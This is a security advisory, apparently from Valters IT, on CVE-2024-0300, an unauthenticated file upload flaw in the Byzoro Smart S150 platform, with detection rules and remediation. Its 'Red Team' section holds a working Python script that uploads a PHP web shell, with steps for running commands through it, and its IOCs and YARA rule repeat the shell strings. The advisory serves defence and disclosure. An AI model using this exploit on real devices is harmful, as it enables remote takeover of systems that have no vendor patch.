CVE-2024-0300

Executive Summary

CVE-2024-0300 is a critical unrestricted file upload vulnerability in the Byzoro Smart S150 Management Platform, affecting versions up to 20240101. The flaw resides in the /useratte/userattestation.php endpoint, where the web_img parameter is not properly sanitized, allowing remote attackers to upload arbitrary files (e.g., web shells) without authentication. The vendor has not responded to disclosure, and no official patch exists. Given the public exploit disclosure and the device's exposure to the internet, this vulnerability poses a significant risk for remote code execution and network compromise.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary embedded device management platform.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: High (due to public exploit, no patch, and potential for full device compromise).

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Byzoro Smart S150 Management Platform. The endpoint /useratte/userattestation.php accepts HTTP POST requests with a web_img parameter. The application fails to validate the file type, size, or content, allowing an attacker to upload a malicious file (e.g., a PHP web shell) to the server's web root. Once uploaded, the attacker can access the file directly via the web server, leading to remote code execution.

The attack is trivial: a simple HTTP POST request with a multipart form-data containing a PHP payload. The lack of authentication and input validation makes this a low-skill exploit.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// useratte/userattestation.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["web_img"]["name"]);
move_uploaded_file($_FILES["web_img"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Conceptual):

<?php
// useratte/userattestation.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["web_img"]["name"]);
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
$check = getimagesize($_FILES["web_img"]["tmp_name"]);
if($check !== false) {
    // Allow only specific image types
    if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) {
        echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    } else {
        move_uploaded_file($_FILES["web_img"]["tmp_name"], $target_file);
        echo "File uploaded successfully.";
    }
} else {
    echo "File is not an image.";
}
?>

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

url = "http://target.com/useratte/userattestation.php"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'web_img': ('shell.php', payload, 'application/x-php')}

response = requests.post(url, files=files)
print("Upload response:", response.text)
print("Shell URL: http://target.com/uploads/shell.php?cmd=id")

Usage:

1. Replace target.com with the target IP or domain.
2. Run the script to upload a web shell.
3. Access the shell URL to execute commands.

Blue Team

Lab Setup:

• Deploy a Byzoro Smart S150 Management Platform in an isolated network.
• Use a web application firewall (WAF) to monitor and block malicious uploads.
• Simulate the attack using the provided Python script.

Detection:

• Monitor HTTP POST requests to /useratte/userattestation.php with Content-Type: multipart/form-data.
• Alert on file uploads with non-image extensions (e.g., .php, .asp, .jsp).
• Inspect uploaded files for PHP code or other executable content.

Indicators of Compromise (IOCs)

• File Path: /uploads/shell.php (or similar)
• Network Traffic: HTTP POST to /useratte/userattestation.php with multipart form-data containing a file named *.php
• Log Entry: POST /useratte/userattestation.php with 200 OK response
• File Content: <?php system($_GET["cmd"]); ?> or similar web shell code
• Process: httpd or nginx spawning php-cgi or php-fpm processes

Detection Engineering

YARA Rule

rule CVE_2024_0300_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-0300"
        author = "Valters IT"
        date = "2024-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0300"
    strings:
        $php_shell = "<?php system($_GET[\"cmd\"]); ?>"
        $php_shell2 = "<?php exec($_GET['cmd']); ?>"
        $php_shell3 = "<?php shell_exec($_POST['cmd']); ?>"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0300 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /useratte/userattestation.php with file uploads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/useratte/userattestation.php'
        cs-content-type: 'multipart/form-data*'
    condition: selection
falsepositives:
    - Legitimate image uploads (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0300 Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/useratte/userattestation.php"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/filename=\".*\.php\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Isolate affected devices from the internet and untrusted networks.
2. Vendor Contact: Attempt to contact Byzoro for a patch. If unresponsive, consider replacing the device.
3. Virtual Patching: Deploy a WAF rule to block POST requests to /useratte/userattestation.php with file extensions other than images (jpg, png, gif).
4. Input Validation: Implement server-side validation of file type, size, and content.
5. File Storage: Store uploaded files outside the web root and serve them via a script that enforces MIME type checks.
6. Monitoring: Enable logging and alerting on file upload attempts to this endpoint.

Valters IT